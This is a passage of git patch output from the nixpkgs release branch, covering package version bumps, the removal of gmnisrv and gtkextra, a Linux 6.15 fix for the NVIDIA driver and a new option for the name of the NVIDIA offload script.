@@ -15,7 +15,7 @@ mkYaziPlugin {
   };
 
   meta = {
-    description = "Previewing archive contents with smart-filter";
+    description = "Paste files into the hovered directory or to the CWD if hovering over a file";
     license = lib.licenses.mit;
     maintainers = with lib.maintainers; [ khaneliman ];
   };
diff --git a/pkgs/by-name/ya/yazi/plugins/toggle-pane/default.nix b/pkgs/by-name/ya/yazi/plugins/toggle-pane/default.nix
index ec3503c71f20..e5458e0db8a7 100644
--- a/pkgs/by-name/ya/yazi/plugins/toggle-pane/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/toggle-pane/default.nix
@@ -15,7 +15,7 @@ mkYaziPlugin {
   };
 
   meta = {
-    description = "Previewing archive contents with toggle-pane";
+    description = "Toggle the show, hide, and maximize states for different panes";
     license = lib.licenses.mit;
     maintainers = with lib.maintainers; [ khaneliman ];
   };
diff --git a/pkgs/by-name/ya/yazi/plugins/vcs-files/default.nix b/pkgs/by-name/ya/yazi/plugins/vcs-files/default.nix
index e02b886c0f37..dc2ccce23fe9 100644
--- a/pkgs/by-name/ya/yazi/plugins/vcs-files/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/vcs-files/default.nix
@@ -15,7 +15,7 @@ mkYaziPlugin {
   };
 
   meta = {
-    description = "Previewing archive contents with vcs-files";
+    description = "Show Git file changes in Yazi";
     license = lib.licenses.mit;
     maintainers = with lib.maintainers; [ khaneliman ];
   };

From c666daca6a031d263473c2b661741d9de00ff737 Mon Sep 17 00:00:00 2001
From: ccicnce113424 <ccicnce113424@gmail.com>
Date: Thu, 29 May 2025 23:02:03 +0800
Subject: [PATCH 1041/4511] linuxPackages.nvidiaPackages.production: fix for
 linux 6.15

(cherry picked from commit d3a965f419d230b175b5fba31ceb0ca9bda6d161)
---
 pkgs/os-specific/linux/nvidia-x11/default.nix | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/pkgs/os-specific/linux/nvidia-x11/default.nix b/pkgs/os-specific/linux/nvidia-x11/default.nix
index 5c8fca50ea56..e34a19073b68 100644
--- a/pkgs/os-specific/linux/nvidia-x11/default.nix
+++ b/pkgs/os-specific/linux/nvidia-x11/default.nix
@@ -53,6 +53,14 @@ let
     rev = "94dffc01e23a93c354a765ea7ac64484a3ef96c1";
     hash = "sha256-c94qXNZyMrSf7Dik7jvz2ECaGELqN7WEYNpnbUkzeeU=";
   };
+
+  # https://github.com/NVIDIA/open-gpu-kernel-modules/issues/840
+  gpl_symbols_linux_615_patch = fetchpatch {
+    url = "https://github.com/CachyOS/kernel-patches/raw/914aea4298e3744beddad09f3d2773d71839b182/6.15/misc/nvidia/0003-Workaround-nv_vm_flags_-calling-GPL-only-code.patch";
+    hash = "sha256-YOTAvONchPPSVDP9eJ9236pAPtxYK5nAePNtm2dlvb4=";
+    stripLen = 1;
+    extraPrefix = "kernel/";
+  };
 in
 rec {
   mkDriver = generic;
@@ -70,6 +78,7 @@ rec {
     openSha256 = "sha256-2DpY3rgQjYFuPfTY4U/5TcrvNqsWWnsOSX0f2TfVgTs=";
     settingsSha256 = "sha256-5m6caud68Owy4WNqxlIQPXgEmbTe4kZV2vZyTWHWe+M=";
     persistencedSha256 = "sha256-OSo4Od7NmezRdGm7BLLzYseWABwNGdsomBCkOsNvOxA=";
+    patches = [ gpl_symbols_linux_615_patch ];
   };
 
   latest = selectHighestVersion production (generic {

From 97279bbe58ec9387b3ad15bc89f921e2bc8b1f9a Mon Sep 17 00:00:00 2001
From: Eman Resu <78693624+quatquatt@users.noreply.github.com>
Date: Sat, 14 Jun 2025 15:31:34 -0400
Subject: [PATCH 1042/4511] [Backport release-25.05] gleam: add myself as
 maintainer

---
 pkgs/by-name/gl/gleam/package.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/gl/gleam/package.nix b/pkgs/by-name/gl/gleam/package.nix
index f5bf49d08e5f..ba739669ea84 100644
--- a/pkgs/by-name/gl/gleam/package.nix
+++ b/pkgs/by-name/gl/gleam/package.nix
@@ -53,7 +53,10 @@ rustPlatform.buildRustPackage (finalAttrs: {
     homepage = "https://gleam.run/";
     changelog = "https://github.com/gleam-lang/gleam/blob/v${finalAttrs.version}/CHANGELOG.md";
     license = lib.licenses.asl20;
-    maintainers = [ lib.maintainers.philtaken ];
+    maintainers = with lib.maintainers; [
+      philtaken
+      llakala
+    ];
     teams = [ lib.teams.beam ];
   };
 })

From 654232c4ccb134ab46f0bc48532088ab99dff3e2 Mon Sep 17 00:00:00 2001
From: Eman Resu <78693624+quatquatt@users.noreply.github.com>
Date: Sat, 14 Jun 2025 15:32:17 -0400
Subject: [PATCH 1043/4511] [Backport release-25.05] gleam: 1.10.0 -> 1.11.1

---
 pkgs/by-name/gl/gleam/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/gl/gleam/package.nix b/pkgs/by-name/gl/gleam/package.nix
index ba739669ea84..3a5c11c5d686 100644
--- a/pkgs/by-name/gl/gleam/package.nix
+++ b/pkgs/by-name/gl/gleam/package.nix
@@ -15,16 +15,16 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "gleam";
-  version = "1.10.0";
+  version = "1.11.1";
 
   src = fetchFromGitHub {
     owner = "gleam-lang";
     repo = "gleam";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-0qK9dWkKnoXbIIBMN3p5noPEke/bgC8Bjtmf6lwtyr4=";
+    hash = "sha256-ZNDN9MRA9D+5xdVp3Lxt76bLzHRK7304O6WVPrlUq2U=";
   };
 
-  cargoHash = "sha256-EoRu8p6cUe1li54nVUkf+3qywIsDXh4ptIVLluJ3eFs=";
+  cargoHash = "sha256-TJqylGjXdkunE5mHkpFnvv3SENBFwtQehV0q2k3hNMY=";
 
   nativeBuildInputs = [
     git

From e1e48057d7edcc5f9abcf307b0b1190af5db59f5 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 14 Jun 2025 16:32:15 +0200
Subject: [PATCH 1044/4511] ci/pinned: update

This gives us nixpkgs-review 3.4.0 to support #415006.

From the nixpkgs-unstable channel:
https://hydra.nixos.org/eval/1816084#tabs-inputs

Changes for treefmt-nix:
https://github.com/numtide/treefmt-nix/compare/1f3f7b784643d488ba4bf315638b2b0a4c5fb007...a05be418a1af1198ca0f63facb13c985db4cb3c5

(cherry picked from commit a9589ea037e43e78cefdf5c31900011896fc4070)
---
 ci/pinned.json | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/ci/pinned.json b/ci/pinned.json
index f29d17f7aa6c..08a675000b86 100644
--- a/ci/pinned.json
+++ b/ci/pinned.json
@@ -9,9 +9,9 @@
       },
       "branch": "nixpkgs-unstable",
       "submodules": false,
-      "revision": "8ca7ec685bbee55d6dcb326abe23945c0806c39e",
-      "url": "https://github.com/NixOS/nixpkgs/archive/8ca7ec685bbee55d6dcb326abe23945c0806c39e.tar.gz",
-      "hash": "1hkxm871m66mjsc4acdki32qqnpgk3n6vi3zrzns2bwlwp6ivcjx"
+      "revision": "6afe187897bef7933475e6af374c893f4c84a293",
+      "url": "https://github.com/NixOS/nixpkgs/archive/6afe187897bef7933475e6af374c893f4c84a293.tar.gz",
+      "hash": "1x3yas2aingswrw7hpn43d9anlb08bpyk42dqg6v8f3p3yk83p1b"
     },
     "treefmt-nix": {
       "type": "Git",
@@ -22,9 +22,9 @@
       },
       "branch": "main",
       "submodules": false,
-      "revision": "1f3f7b784643d488ba4bf315638b2b0a4c5fb007",
-      "url": "https://github.com/numtide/treefmt-nix/archive/1f3f7b784643d488ba4bf315638b2b0a4c5fb007.tar.gz",
-      "hash": "13qisjalw9qvd6lkd9g8225r46j5wdjrp3zw6jrs81q2vxwdz37m"
+      "revision": "a05be418a1af1198ca0f63facb13c985db4cb3c5",
+      "url": "https://github.com/numtide/treefmt-nix/archive/a05be418a1af1198ca0f63facb13c985db4cb3c5.tar.gz",
+      "hash": "1yadm9disc59an4a6c1zidq82530rd7i7idzzsirv6dlwirbqk3q"
     }
   },
   "version": 5

From 047360ed99df18f565a28da42945de16ce2979c3 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 13 Jun 2025 07:37:29 +0000
Subject: [PATCH 1045/4511] easyrsa: 3.2.2 -> 3.2.3

(cherry picked from commit 6b0b7c22f4c2b9a499bb79275f9498b8e016eaf4)
---
 pkgs/by-name/ea/easyrsa/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ea/easyrsa/package.nix b/pkgs/by-name/ea/easyrsa/package.nix
index 96d3a0fe49dd..a45bf2306e77 100644
--- a/pkgs/by-name/ea/easyrsa/package.nix
+++ b/pkgs/by-name/ea/easyrsa/package.nix
@@ -9,13 +9,13 @@
 
 stdenv.mkDerivation rec {
   pname = "easyrsa";
-  version = "3.2.2";
+  version = "3.2.3";
 
   src = fetchFromGitHub {
     owner = "OpenVPN";
     repo = "easy-rsa";
     rev = "v${version}";
-    hash = "sha256-gNuVijMAHVKEHU0Z6INKUZt68qSg5ssxSaXOH/+MU1I=";
+    hash = "sha256-TAJAwvcIkAB4YShK9NItw14UTvuxtNd/OxLDkO8p0d0=";
   };
 
   nativeBuildInputs = [ makeWrapper ];

From 44725c49440498a0b7f08ff8daf9d944c8ee1a1e Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Sat, 7 Jun 2025 10:46:55 -0400
Subject: [PATCH 1046/4511] gmnisrv: drop

Fails to build with gcc 14, unmaintained upstream for 2 years.

Link to upstream: https://git.sr.ht/~sircmpwn/gmnisrv

(cherry picked from commit cd7501745a6a995a5f2b52ddb3114e52342e8d47)
---
 pkgs/by-name/gm/gmnisrv/package.nix | 52 -----------------------------
 pkgs/top-level/aliases.nix          |  1 +
 2 files changed, 1 insertion(+), 52 deletions(-)
 delete mode 100644 pkgs/by-name/gm/gmnisrv/package.nix

diff --git a/pkgs/by-name/gm/gmnisrv/package.nix b/pkgs/by-name/gm/gmnisrv/package.nix
deleted file mode 100644
index 52e3feb60491..000000000000
--- a/pkgs/by-name/gm/gmnisrv/package.nix
+++ /dev/null
@@ -1,52 +0,0 @@
-{
-  stdenv,
-  lib,
-  fetchFromSourcehut,
-  pkg-config,
-  openssl,
-  mailcap,
-  scdoc,
-}:
-
-stdenv.mkDerivation rec {
-  pname = "gmnisrv";
-  version = "1.0";
-
-  src = fetchFromSourcehut {
-    owner = "~sircmpwn";
-    repo = "gmnisrv";
-    rev = version;
-    sha256 = "sha256-V9HXXYQIo3zeqZjJEn+dhemNg6AU+ee3FRmBmXgLuYQ=";
-  };
-
-  env.NIX_CFLAGS_COMPILE = toString [
-    "-Wno-error=deprecated-declarations"
-  ];
-
-  postPatch = ''
-    substituteInPlace config.sh \
-      --replace "pkg-config" "${stdenv.cc.targetPrefix}pkg-config"
-  '';
-
-  MIMEDB = "${mailcap}/etc/mime.types";
-  nativeBuildInputs = [
-    pkg-config
-    scdoc
-  ];
-  buildInputs = [
-    openssl
-    mailcap
-  ];
-
-  meta = with lib; {
-    description = "Simple Gemini protocol server";
-    mainProgram = "gmnisrv";
-    homepage = "https://git.sr.ht/~sircmpwn/gmnisrv";
-    license = licenses.gpl3Only;
-    maintainers = with maintainers; [
-      bsima
-      jb55
-    ];
-    platforms = platforms.linux;
-  };
-}
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index 76e17ea78c81..1cfd9b3520ba 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -767,6 +767,7 @@ mapAliases {
   glfw-wayland-minecraft = glfw3-minecraft; # Added 2024-05-08
   glxinfo = mesa-demos; # Added 2024-07-04
   gmailieer = throw "'gmailieer' has been renamed to/replaced by 'lieer'"; # Converted to throw 2024-10-17
+  gmnisrv = throw "'gmnisrv' has been removed due to lack of maintenance upstream"; # Added 2025-06-07
   gmp4 = throw "'gmp4' is end-of-life, consider using 'gmp' instead"; # Added 2024-12-24
   gnatboot11 = gnat-bootstrap11;
   gnatboot12 = gnat-bootstrap12;

From 8433a4d254adb5df0b75bfa7c25fd9c08204fecb Mon Sep 17 00:00:00 2001
From: OPNA2608 <opna2608@protonmail.com>
Date: Sat, 31 May 2025 12:00:25 +0200
Subject: [PATCH 1047/4511] lomiri.lomiri-indicator-network: 1.1.0 -> 1.1.1

(cherry picked from commit 9dba3a34eccbb7129254949184e2ff1902f43379)
---
 ...erverInformation-not-leak-into-tests.patch | 240 ------------------
 .../lomiri-indicator-network/default.nix      |  17 +-
 2 files changed, 5 insertions(+), 252 deletions(-)
 delete mode 100644 pkgs/desktops/lomiri/services/lomiri-indicator-network/1001-test-secret-agent-Make-GetServerInformation-not-leak-into-tests.patch

diff --git a/pkgs/desktops/lomiri/services/lomiri-indicator-network/1001-test-secret-agent-Make-GetServerInformation-not-leak-into-tests.patch b/pkgs/desktops/lomiri/services/lomiri-indicator-network/1001-test-secret-agent-Make-GetServerInformation-not-leak-into-tests.patch
deleted file mode 100644
index 832514441465..000000000000
--- a/pkgs/desktops/lomiri/services/lomiri-indicator-network/1001-test-secret-agent-Make-GetServerInformation-not-leak-into-tests.patch
+++ /dev/null
@@ -1,240 +0,0 @@
-From 9c2a6a6349f705017e3c8a34daa4ba1805586498 Mon Sep 17 00:00:00 2001
-From: OPNA2608 <opna2608@protonmail.com>
-Date: Thu, 30 Jan 2025 14:53:02 +0100
-Subject: [PATCH] tests/unit/secret-agent/test-secret-agent: Make sure signal
- emitted on agent startup doesn't leak into tests
-
----
- tests/unit/secret-agent/test-secret-agent.cpp | 116 ++++++++++--------
- 1 file changed, 67 insertions(+), 49 deletions(-)
-
-diff --git a/tests/unit/secret-agent/test-secret-agent.cpp b/tests/unit/secret-agent/test-secret-agent.cpp
-index 1f1cd7e9..9c72e251 100644
---- a/tests/unit/secret-agent/test-secret-agent.cpp
-+++ b/tests/unit/secret-agent/test-secret-agent.cpp
-@@ -29,6 +29,16 @@
- #include <lomiri/gmenuharness/MatchUtils.h>
- #include <lomiri/gmenuharness/MenuMatcher.h>
- 
-+#define WAIT_FOR_SIGNALS(signalSpy, signalsExpected)\
-+{\
-+	while (signalSpy.size() < signalsExpected)\
-+	{\
-+		ASSERT_TRUE(signalSpy.wait()) << "Waiting for " << signalsExpected << " signals, got " << signalSpy.size();\
-+	}\
-+	ASSERT_EQ(signalsExpected, signalSpy.size()) << "Waiting for " << signalsExpected << " signals, got " << signalSpy.size();\
-+}
-+
-+
- using namespace std;
- using namespace testing;
- using namespace QtDBusTest;
-@@ -49,21 +59,6 @@ protected:
- 		dbusMock.registerTemplate(NM_DBUS_SERVICE, NETWORK_MANAGER_TEMPLATE_PATH, {}, QDBusConnection::SystemBus);
- 		dbusTestRunner.startServices();
- 
--		QProcessEnvironment env(QProcessEnvironment::systemEnvironment());
--		env.insert("SECRET_AGENT_DEBUG_PASSWORD", "1");
--		secretAgent.setProcessEnvironment(env);
--		secretAgent.setReadChannel(QProcess::StandardOutput);
--		secretAgent.setProcessChannelMode(QProcess::ForwardedErrorChannel);
--		secretAgent.start(SECRET_AGENT_BIN, QStringList() << "--print-address");
--		secretAgent.waitForStarted();
--		secretAgent.waitForReadyRead();
--		agentBus = secretAgent.readAll().trimmed();
--
--		agentInterface.reset(
--				new OrgFreedesktopNetworkManagerSecretAgentInterface(agentBus,
--				NM_DBUS_PATH_SECRET_AGENT, dbusTestRunner.systemConnection()));
--
--
- 		notificationsInterface.reset(
- 				new OrgFreedesktopDBusMockInterface(
- 						"org.freedesktop.Notifications",
-@@ -72,8 +67,11 @@ protected:
- 	}
- 
- 	virtual ~TestSecretAgentCommon() {
--		secretAgent.terminate();
--		secretAgent.waitForFinished();
-+		if (secretAgent.state() != QProcess::NotRunning)
-+		{
-+				secretAgent.terminate();
-+				secretAgent.waitForFinished();
-+		}
- 	}
- 
- 	QVariantDictMap connection(const QString &keyManagement) {
-@@ -111,6 +109,32 @@ protected:
- 		return connection;
- 	}
- 
-+	void setupSecretAgent (void) {
-+		QSignalSpy notificationSpy(notificationsInterface.data(),
-+				SIGNAL(MethodCalled(const QString &, const QVariantList &)));
-+
-+		QProcessEnvironment env(QProcessEnvironment::systemEnvironment());
-+		env.insert("SECRET_AGENT_DEBUG_PASSWORD", "1");
-+		secretAgent.setProcessEnvironment(env);
-+		secretAgent.setReadChannel(QProcess::StandardOutput);
-+		secretAgent.setProcessChannelMode(QProcess::ForwardedErrorChannel);
-+		secretAgent.start(SECRET_AGENT_BIN, QStringList() << "--print-address");
-+		secretAgent.waitForStarted();
-+		secretAgent.waitForReadyRead();
-+
-+		agentBus = secretAgent.readAll().trimmed();
-+
-+		agentInterface.reset(
-+				new OrgFreedesktopNetworkManagerSecretAgentInterface(agentBus,
-+				NM_DBUS_PATH_SECRET_AGENT, dbusTestRunner.systemConnection()));
-+
-+		WAIT_FOR_SIGNALS(notificationSpy, 1);
-+		{
-+				const QVariantList &call(notificationSpy.at(0));
-+				EXPECT_EQ(call.at(0), "GetServerInformation");
-+		}
-+	}
-+
- 	DBusTestRunner dbusTestRunner;
- 
- 	DBusMock dbusMock;
-@@ -163,22 +187,21 @@ static void transform(QVariantList &list) {
- }
- 
- TEST_P(TestSecretAgentGetSecrets, ProvidesPasswordForWpaPsk) {
-+	setupSecretAgent();
-+
-+	QSignalSpy notificationSpy(notificationsInterface.data(),
-+			SIGNAL(MethodCalled(const QString &, const QVariantList &)));
-+
- 	QDBusPendingReply<QVariantDictMap> reply(
- 			agentInterface->GetSecrets(connection(GetParam().keyManagement),
- 					QDBusObjectPath("/connection/foo"),
- 					SecretAgent::NM_WIRELESS_SECURITY_SETTING_NAME, QStringList(),
- 					5));
- 
--	QSignalSpy notificationSpy(notificationsInterface.data(),
--	SIGNAL(MethodCalled(const QString &, const QVariantList &)));
--	if (notificationSpy.empty())
--	{
--		ASSERT_TRUE(notificationSpy.wait());
--	}
-+	WAIT_FOR_SIGNALS(notificationSpy, 1);
- 
--	ASSERT_EQ(1, notificationSpy.size());
- 	const QVariantList &call(notificationSpy.at(0));
--	EXPECT_EQ("Notify", call.at(0).toString().toStdString());
-+	EXPECT_EQ("Notify", call.at(0));
- 
- 	QVariantList args(call.at(1).toList());
- 	transform(args);
-@@ -254,6 +277,7 @@ class TestSecretAgent: public TestSecretAgentCommon, public Test {
- };
- 
- TEST_F(TestSecretAgent, GetSecretsWithNone) {
-+	setupSecretAgent();
- 
- 	QDBusPendingReply<QVariantDictMap> reply(
- 			agentInterface->GetSecrets(
-@@ -272,6 +296,8 @@ TEST_F(TestSecretAgent, GetSecretsWithNone) {
- /* Tests that if we request secrets and then cancel the request
-    that we close the notification */
- TEST_F(TestSecretAgent, CancelGetSecrets) {
-+	setupSecretAgent();
-+
- 	QSignalSpy notificationSpy(notificationsInterface.data(), SIGNAL(MethodCalled(const QString &, const QVariantList &)));
- 
- 	agentInterface->GetSecrets(
-@@ -280,23 +306,19 @@ TEST_F(TestSecretAgent, CancelGetSecrets) {
- 			SecretAgent::NM_WIRELESS_SECURITY_SETTING_NAME, QStringList(),
- 			5);
- 
--	notificationSpy.wait();
--
--	ASSERT_EQ(1, notificationSpy.size());
--	const QVariantList &call(notificationSpy.at(0));
--	EXPECT_EQ("Notify", call.at(0).toString().toStdString());
-+	WAIT_FOR_SIGNALS(notificationSpy, 1);
-+	{
-+		const QVariantList &call(notificationSpy.at(0));
-+		EXPECT_EQ("Notify", call.at(0));
-+	}
- 
- 	notificationSpy.clear();
- 
- 	agentInterface->CancelGetSecrets(QDBusObjectPath("/connection/foo"),
- 			SecretAgent::NM_WIRELESS_SECURITY_SETTING_NAME);
- 
--	if (notificationSpy.empty())
--	{
--		ASSERT_TRUE(notificationSpy.wait());
--	}
-+	WAIT_FOR_SIGNALS(notificationSpy, 1);
- 
--	ASSERT_EQ(1, notificationSpy.size());
- 	const QVariantList &closecall(notificationSpy.at(0));
- 	EXPECT_EQ("CloseNotification", closecall.at(0).toString().toStdString());
- }
-@@ -304,6 +326,8 @@ TEST_F(TestSecretAgent, CancelGetSecrets) {
- /* Ensures that if we request secrets twice we close the notification
-    for the first request */
- TEST_F(TestSecretAgent, MultiSecrets) {
-+	setupSecretAgent();
-+
- 	QSignalSpy notificationSpy(notificationsInterface.data(), SIGNAL(MethodCalled(const QString &, const QVariantList &)));
- 
- 	agentInterface->GetSecrets(
-@@ -312,15 +336,12 @@ TEST_F(TestSecretAgent, MultiSecrets) {
- 			SecretAgent::NM_WIRELESS_SECURITY_SETTING_NAME, QStringList(),
- 			5);
- 
--	if (notificationSpy.empty())
-+	WAIT_FOR_SIGNALS(notificationSpy, 1);
- 	{
--		ASSERT_TRUE(notificationSpy.wait());
-+		const QVariantList &call(notificationSpy.at(0));
-+		EXPECT_EQ("Notify", call.at(0));
- 	}
- 
--	ASSERT_EQ(1, notificationSpy.size());
--	const QVariantList &call(notificationSpy.at(0));
--	EXPECT_EQ("Notify", call.at(0).toString().toStdString());
--
- 	notificationSpy.clear();
- 
- 	agentInterface->GetSecrets(
-@@ -329,14 +350,7 @@ TEST_F(TestSecretAgent, MultiSecrets) {
- 			SecretAgent::NM_WIRELESS_SECURITY_SETTING_NAME, QStringList(),
- 			5);
- 
--	if (notificationSpy.empty())
--	{
--		ASSERT_TRUE(notificationSpy.wait());
--	}
--	if (notificationSpy.size() == 1)
--	{
--		ASSERT_TRUE(notificationSpy.wait());
--	}
-+	WAIT_FOR_SIGNALS(notificationSpy, 2);
- 
- 	ASSERT_EQ(2, notificationSpy.size());
- 	const QVariantList &closecall(notificationSpy.at(1));
-@@ -347,11 +361,15 @@ TEST_F(TestSecretAgent, MultiSecrets) {
- }
- 
- TEST_F(TestSecretAgent, SaveSecrets) {
-+	setupSecretAgent();
-+
- 	agentInterface->SaveSecrets(QVariantDictMap(),
- 			QDBusObjectPath("/connection/foo")).waitForFinished();
- }
- 
- TEST_F(TestSecretAgent, DeleteSecrets) {
-+	setupSecretAgent();
-+
- 	agentInterface->DeleteSecrets(QVariantDictMap(),
- 			QDBusObjectPath("/connection/foo")).waitForFinished();
- }
--- 
-2.47.1
-
diff --git a/pkgs/desktops/lomiri/services/lomiri-indicator-network/default.nix b/pkgs/desktops/lomiri/services/lomiri-indicator-network/default.nix
index cb516b4ee80e..46acb122cf4c 100644
--- a/pkgs/desktops/lomiri/services/lomiri-indicator-network/default.nix
+++ b/pkgs/desktops/lomiri/services/lomiri-indicator-network/default.nix
@@ -33,13 +33,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "lomiri-indicator-network";
-  version = "1.1.0";
+  version = "1.1.1";
 
   src = fetchFromGitLab {
     owner = "ubports";
     repo = "development/core/lomiri-indicator-network";
     tag = finalAttrs.version;
-    hash = "sha256-pN5M5VKRyo6csmI/vrmp/bonnap3oEdPuHAUJ1PjdOs=";
+    hash = "sha256-R5W1MmT+H9i8NXrzOv2xaVu8TKPCRCAAswwM/tflkQ0=";
   };
 
   outputs = [
@@ -48,20 +48,11 @@ stdenv.mkDerivation (finalAttrs: {
     "doc"
   ];
 
-  patches = [
-    ./1001-test-secret-agent-Make-GetServerInformation-not-leak-into-tests.patch
-  ];
-
   postPatch = ''
     # Override original prefixes
     substituteInPlace data/CMakeLists.txt \
       --replace-fail 'pkg_get_variable(DBUS_SESSION_BUS_SERVICES_DIR dbus-1 session_bus_services_dir)' 'pkg_get_variable(DBUS_SESSION_BUS_SERVICES_DIR dbus-1 session_bus_services_dir DEFINE_VARIABLES datadir=''${CMAKE_INSTALL_FULL_SYSCONFDIR})' \
       --replace-fail 'pkg_get_variable(SYSTEMD_USER_DIR systemd systemduserunitdir)' 'pkg_get_variable(SYSTEMD_USER_DIR systemd systemduserunitdir DEFINE_VARIABLES prefix=''${CMAKE_INSTALL_PREFIX})'
-
-    # Fix typo
-    # Remove when https://gitlab.com/ubports/development/core/lomiri-indicator-network/-/merge_requests/131 merged & in release
-    substituteInPlace src/indicator/nmofono/wwan/modem.cpp \
-      --replace-fail 'if (m_isManaged = managed)' 'if (m_isManaged == managed)'
   '';
 
   strictDeps = true;
@@ -134,7 +125,9 @@ stdenv.mkDerivation (finalAttrs: {
   meta = {
     description = "Ayatana indiator exporting the network settings menu through D-Bus";
     homepage = "https://gitlab.com/ubports/development/core/lomiri-indicator-network";
-    changelog = "https://gitlab.com/ubports/development/core/lomiri-indicator-network/-/blob/${finalAttrs.version}/ChangeLog";
+    changelog = "https://gitlab.com/ubports/development/core/lomiri-indicator-network/-/blob/${
+      if (!builtins.isNull finalAttrs.src.tag) then finalAttrs.src.tag else finalAttrs.src.rev
+    }/ChangeLog";
     license = lib.licenses.gpl3Only;
     teams = [ lib.teams.lomiri ];
     platforms = lib.platforms.linux;

From 076da97cf15631c3bc93d351a0de267c0d4a87df Mon Sep 17 00:00:00 2001
From: Peder Bergebakken Sundt <pbsds@hotmail.com>
Date: Fri, 16 May 2025 12:57:10 +0200
Subject: [PATCH 1048/4511] nixos/hardware/nvidia: add
 prime.offload.offloadCmdMainProgram

prime-run is the default name on arch linux. This allows me and some others I found on github to slim their config.

(cherry picked from commit 340cd4a44555ef472865d36b06a9e41b3810c72f)
---
 nixos/modules/hardware/video/nvidia.nix | 17 ++++++++++++++---
 1 file changed, 14 insertions(+), 3 deletions(-)

diff --git a/nixos/modules/hardware/video/nvidia.nix b/nixos/modules/hardware/video/nvidia.nix
index 48f8ded73c64..21a9d35a451c 100644
--- a/nixos/modules/hardware/video/nvidia.nix
+++ b/nixos/modules/hardware/video/nvidia.nix
@@ -204,11 +204,22 @@ in
 
       prime.offload.enableOffloadCmd = lib.mkEnableOption ''
         adding a `nvidia-offload` convenience script to {option}`environment.systemPackages`
-        for offloading programs to an nvidia device. To work, should have also enabled
+        for offloading programs to an nvidia device. To work, you must also enable
         {option}`hardware.nvidia.prime.offload.enable` or {option}`hardware.nvidia.prime.reverseSync.enable`.
 
-        Example usage `nvidia-offload sauerbraten_client`
+        Example usage: `nvidia-offload sauerbraten_client`
+
+        This script can be renamed with {option}`hardware.nvidia.prime.offload.enableOffloadCmd`.
       '';
+      prime.offload.offloadCmdMainProgram = lib.mkOption {
+        type = lib.types.str;
+        description = ''
+          Specifies the CLI name of the {option}`hardware.nvidia.prime.offload.enableOffloadCmd`
+          convenience script for offloading programs to an nvidia device.
+        '';
+        default = "nvidia-offload";
+        example = "prime-run";
+      };
 
       prime.reverseSync.enable = lib.mkEnableOption ''
         NVIDIA Optimus support using the NVIDIA proprietary driver via reverse
@@ -558,7 +569,7 @@ in
             lib.optional cfg.nvidiaSettings nvidia_x11.settings
             ++ lib.optional cfg.nvidiaPersistenced nvidia_x11.persistenced
             ++ lib.optional offloadCfg.enableOffloadCmd (
-              pkgs.writeShellScriptBin "nvidia-offload" ''
+              pkgs.writeShellScriptBin cfg.prime.offload.offloadCmdMainProgram ''
                 export __NV_PRIME_RENDER_OFFLOAD=1
                 export __NV_PRIME_RENDER_OFFLOAD_PROVIDER=NVIDIA-G0
                 export __GLX_VENDOR_LIBRARY_NAME=nvidia

From 427b8d7011157e61169cdbc18e87d759a1129e0b Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Tue, 10 Jun 2025 12:24:06 -0400
Subject: [PATCH 1049/4511] gtkextra: drop

Unused, and has not built [since 2025-01-15](https://hydra.nixos.org/build/282898738).

(cherry picked from commit 511658edc4349edb719fc7a59ab7a121c24f9583)
---
 pkgs/by-name/gt/gtkextra/package.nix | 55 ----------------------------
 pkgs/top-level/aliases.nix           |  1 +
 2 files changed, 1 insertion(+), 55 deletions(-)
 delete mode 100644 pkgs/by-name/gt/gtkextra/package.nix

diff --git a/pkgs/by-name/gt/gtkextra/package.nix b/pkgs/by-name/gt/gtkextra/package.nix
deleted file mode 100644
index cdaa88e98161..000000000000
--- a/pkgs/by-name/gt/gtkextra/package.nix
+++ /dev/null
@@ -1,55 +0,0 @@
-{
-  stdenv,
-  lib,
-  fetchurl,
-  pkg-config,
-  gobject-introspection,
-  file,
-  gtk2,
-  glib,
-  cairo,
-  atk,
-  pango,
-  libtiff,
-  libpng,
-  libjpeg,
-}:
-
-stdenv.mkDerivation rec {
-  pname = "gtkextra";
-  version = "3.3.4";
-
-  src = fetchurl {
-    url = "mirror://sourceforge/project/gtkextra/${lib.versions.majorMinor version}/${pname}-${version}.tar.gz";
-    sha256 = "1mpihbyzhv3ymfim93l9xnxmzhwyqdba5xb4rdn5vggdg25766v5";
-  };
-
-  postPatch = ''
-    substituteInPlace configure \
-      --replace "/usr/bin/file" "${file}/bin/file"
-  '';
-
-  nativeBuildInputs = [
-    gobject-introspection
-    pkg-config
-  ];
-
-  buildInputs = [
-    gtk2
-    glib
-    cairo
-    atk
-    pango
-    libtiff
-    libpng
-    libjpeg
-  ];
-
-  meta = with lib; {
-    homepage = "https://gtkextra.sourceforge.net/";
-    description = "GtkExtra is a useful set of widgets for creating GUI's for GTK+";
-    license = licenses.lgpl2Plus;
-    platforms = platforms.linux;
-    maintainers = with maintainers; [ tesq0 ];
-  };
-}
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index 76e17ea78c81..cd3f0c6487dc 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -844,6 +844,7 @@ mapAliases {
   gtk-engine-bluecurve = "'gtk-engine-bluecurve' has been removed as it has been archived upstream."; # Added 2024-12-04
   gtk2fontsel = throw "'gtk2fontsel' has been removed due to lack of maintenance upstream. GTK now has a built-in font chooser so it's no longer needed for newer apps"; # Added 2024-10-19
   gtkcord4 = dissent; # Added 2024-03-10
